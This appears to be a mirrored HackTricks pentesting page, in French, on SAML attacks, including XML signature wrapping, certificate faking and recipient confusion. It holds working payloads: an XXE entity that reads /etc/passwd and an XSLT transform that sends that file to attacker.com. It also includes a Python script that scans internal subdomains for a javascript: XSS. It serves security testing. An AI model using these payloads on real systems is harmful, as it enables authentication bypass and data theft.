Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 21:24:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks/README.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

22 KiB
Raw Blame History

Attaques SAML

Attaques SAML

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Graphique des attaques

Outil

SAMLExtractor : Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.

Round-trip XML

En XML, la partie signée du XML est enregistrée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données, mais dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, vérifiez le code suivant :

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
  <Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Lancer le programme contre REXML 3.2.4 ou une version antérieure donnerait plutôt la sortie suivante :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original du programme ci-dessus :

Et voici comment il l'a vu après une série d'analyses et de sérialisations :

Pour plus d'informations sur la vulnérabilité et comment l'exploiter :

Attaques d'enveloppement de signature XML

Les documents XML contenant des signatures XML sont généralement traités en deux étapes indépendantes : la validation de la signature et l'invocation de la fonction (logique métier). Si les deux modules ont des vues différentes sur les données, une nouvelle classe de vulnérabilités appelée attaques d'enveloppement de signature XML (XSW) existe.
Dans ces attaques, l'attaquant modifie la structure du message en injectant des éléments forgés qui ne invalident pas la signature XML. Le but de cette altération est de changer le message de telle manière que la logique de l'application et le module de vérification de signature utilisent des parties différentes du message. Par conséquent, le destinataire vérifie la signature XML avec succès, mais la logique de l'application traite l'élément bidon. L'attaquant contourne ainsi la protection d'intégrité et l'authentification d'origine de la signature XML et peut injecter un contenu arbitraire.

À partir de la demande SAML :

XSW #1

Un attaquant peut ajouter un nouvel élément racine où se trouve la signature. Par conséquent, lorsque le validateur vérifie l'intégrité de la signature, il peut noter qu'il a vérifié l'intégrité de la réponse -> assertion -> sujet, et il pourrait se confondre avec le nouveau chemin malveillant de réponse -> assertion -> sujet en rouge et utiliser ses données.

XSW #2

La différence avec #1 est que le type de signature utilisé est une signature détachée où XSW #1 utilisait une signature enveloppante.
Notez comment la nouvelle structure malveillante est la même qu'auparavant, essayant de confondre la logique métier après que la vérification d'intégrité ait été effectuée.

XSW #3

Dans cette attaque, une assertion malveillante est créée au même niveau que l'assertion d'origine pour essayer de confondre la logique métier et utiliser les données malveillantes.

XSW #4

XSW #4 est similaire à #3, sauf que dans ce cas, l'assertion d'origine devient un enfant de l'assertion copiée.

XSW #5

Dans XSW #5, la signature et l'assertion d'origine ne sont pas dans l'une des trois configurations standard (enveloppée/enveloppante/détachée). Dans ce cas, l'assertion copiée enveloppe la signature.

XSW #6

XSW #6 insère son assertion copiée au même emplacement que les #4 et 5. La pièce intéressante ici est que l'assertion copiée enveloppe la signature, qui à son tour enveloppe l'assertion d'origine.

XSW #7

XSW #7 insère un élément Extensions et ajoute l'assertion copiée en tant qu'enfant. Extensions est un élément XML valide avec une définition de schéma moins restrictive. Les auteurs de ce document blanc ont développé cette méthode en réponse à la bibliothèque OpenSAML. OpenSAML utilisait une validation de schéma pour comparer correctement l'ID utilisé lors de la validation de signature à l'ID de l'assertion traitée. Les auteurs ont constaté que dans les cas où des assertions copiées avec le même ID que l'assertion d'origine étaient des enfants d'un élément avec une définition de schéma moins restrictive, ils étaient en mesure de contourner cette contre-mesure particulière.

XSW #8

XSW #8 utilise un autre élément XML moins restrictif pour effectuer une variation du modèle d'attaque utilisé dans XSW #7. Cette fois-ci, l'assertion d'origine est l'enfant de l'élément moins restrictif au lieu de l'assertion copiée.

Outil

Vous pouvez utiliser l'extension Burp SAML Raider pour analyser la demande, appliquer n'importe quelle attaque XSW que vous choisissez et la lancer.

Document original

Pour plus d'informations sur cette attaque, lisez le document original à l'adresse https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

Si vous ne savez pas quelles sont les attaques XXE, veuillez lire la page suivante :

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

En raison du fait que les réponses SAML sont des documents XML compressés et codés en base64, nous pouvons tester les XXE en manipulant le document XML envoyé en tant que réponse SAML. Exemple :

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY    file SYSTEM "file:///etc/passwd">
   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
[...]

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer la preuve de concept à partir d'une requête SAML afin de tester les vulnérabilités XXE possibles.

Consultez également cette présentation : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d'informations sur XSLT, consultez :

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

La transformation de langage de feuille de style extensible (XSLT) est un langage complet de Turing pour transformer des documents XML en d'autres types de documents tels que HTML, JSON ou PDF. Un aspect important à noter ici est que l'attaque ne nécessite pas de signature valide pour réussir. La raison en est que la transformation XSLT se produit avant que la signature numérique ne soit traitée pour vérification. Fondamentalement, nous avons besoin d'une réponse SAML signée pour effectuer l'attaque, mais la signature peut être auto-signée ou invalide.

xslt

Ici, vous pouvez trouver une preuve de concept pour vérifier ce type de vulnérabilités. Sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des charges utiles.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer la POC à partir d'une demande SAML afin de tester les vulnérabilités XSLT possibles.

Consultez également cette présentation : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de signature XML

L'exclusion de signature est utilisée pour tester le comportement de l'implémentation SAML lorsqu'il n'y a pas d'élément Signature. Lorsqu'un élément Signature est absent, l'étape de validation de la signature peut être entièrement ignorée. Si la signature n'est pas validée, alors tout le contenu qui serait normalement signé peut être altéré par un attaquant.

Outil

L'exclusion de signature commence par l'interception de la réponse SAML, puis en cliquant sur Remove Signatures. Ce faisant, tous les éléments de signature sont supprimés.

sig-exclusion

Avec les signatures supprimées, laissez la demande se poursuivre vers la cible. Si la signature n'est pas requise par le service

Falsification de certificat

La falsification de certificat est le processus de test pour savoir si le fournisseur de services vérifie qu'un fournisseur d'identité de confiance a signé le message SAML. La relation de confiance entre SP et IdP est établie et doit être vérifiée chaque fois qu'un message SAML est reçu. Cela revient à utiliser un certificat auto-signé pour signer la réponse ou l'assertion SAML.

Outil

L'extension Burp SAML Raider va être utilisée.
Pour falsifier un certificat, commencez par intercepter la réponse SAML.
S'il y a une signature incluse dans la réponse, utilisez le bouton Send Certificate to SAML Raider Certs.

send-cert

Après avoir envoyé le certificat, nous devrions voir un certificat importé dans l'onglet Certificats de SAML Raider. Une fois là-bas, nous mettons en surbrillance le certificat importé et appuyons sur le bouton Save and Self-Sign.

sent-cert

Cela génère un clone auto-signé du certificat d'origine. Il est maintenant temps de revenir à la demande interceptée toujours en attente dans le proxy de Burp. Tout d'abord, sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML. Ensuite, utilisez le bouton Remove Signatures pour supprimer toutes les signatures existantes. Enfin, utilisez le bouton (Re-)Sign Message ou (Re-)Sign Assertion (celui qui est le plus approprié dans votre situation donnée).

remove-sig

Après avoir signé le message avec le certificat auto-signé, envoyez-le sur son chemin. Si nous nous authentifions, nous savons que nous pouvons signer nos messages SAML. La capacité de signer nos messages SAML signifie que nous pouvons modifier les valeurs de l'assertion et qu'elles seront acceptées par le fournisseur de services.

Confusion du destinataire de jeton / Confusion de la cible du fournisseur de services

La confusion du destinataire de jeton / la confusion de la cible du fournisseur de services teste si le fournisseur de services valide le destinataire. Cela signifie que si la réponse était destinée à un autre fournisseur de services, le fournisseur de services actuel devrait le remarquer et rejeter l'authentification.
Le champ Destinataire est un attribut de l'élément SubjectConfirmationData, qui est un enfant de l'élément Subject dans une réponse SAML.

L'élément SubjectConfirmationData spécifie des données supplémentaires qui permettent de confirmer le sujet ou de limiter les circonstances dans lesquelles l'acte de confirmation du sujet peut avoir lieu. La confirmation du sujet a lieu lorsqu'un fournisseur de services cherche à vérifier la relation entre une entité présentant l'assertion (c'est-à-dire l'entité attestante) et les revendications du sujet de l'assertion.

L'attribut Destinataire trouvé sur l'élément SubjectConfirmationData est une URL qui spécifie l'emplacement vers lequel l'assertion doit être livrée. Si le destinataire est un fournisseur de services différent de celui qui le reçoit, l'assertion ne doit pas être acceptée.

Comment faire

La confusion du destinataire de jeton SAML (SAML-TRC) a quelques conditions préalables pour que nous puissions tenter l'exploitation. Tout d'abord, nous devons avoir un compte légitime sur un fournisseur de services. Deuxièmement, SP-Target doit accepter les jetons émis par le même fournisseur d'identité qui dessert SP-Legit.

L'attaque est relativement simple si les conditions sont vraies. Nous nous authentifions à SP-Legit via le fournisseur d'identité partagé. Nous interceptons ensuite la réponse SAML sur son chemin de l'IdP à SP-Legit. Une fois interceptée, nous envoyons la réponse SAML qui était destinée à SP-Legit à SP-Target à la place. Si SP-Target accepte l'assertion ; nous nous retrouverons connectés avec le même nom de compte que nous avons pour SP-Legit et aurons accès aux ressources correspondantes de SP-Target.

XSS dans la fonctionnalité de déconnexion

(Accédez à la recherche originale ici)

Après avoir effectué le brute forcing du répertoire, j'ai trouvé la page suivante :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Il s'agit d'une page de déconnexion, j'ai ouvert le lien ci-dessus et cela m'a redirigé vers la page suivante.

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Le paramètre de base prend une URL, alors que diriez-vous de le remplacer par le vieux classique javascript:alert(123); pour déclencher une XSS.

Exploitation de masse

En utilisant SAMLExtractor qui peut prendre une liste d'URLs et vous donner l'URL de rappel (SAML consume), j'ai décidé de nourrir l'outil avec tous les sous-domaines de uberinternal.com pour voir s'il y avait d'autres domaines qui utilisaient la même bibliothèque et il y en avait.

Ensuite, j'ai créé un script qui appelle la page vulnérable oidauth/prompt et essaie la XSS et si mon entrée est reflétée, cela me donne un message vulnérable agréable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
            for url in urlList:
                url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
                request = requests.get(url2, allow_redirects=True,verify=False)
                doesit = Fore.RED + "no"
                if ("Fady" in request.content):
                    doesit = Fore.GREEN + "yes"
                print(Fore.WHITE + url2)
                print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Références

Les attaques ont été obtenues à partir de https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
Vous pouvez trouver des ressources supplémentaires et des write-ups sur https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥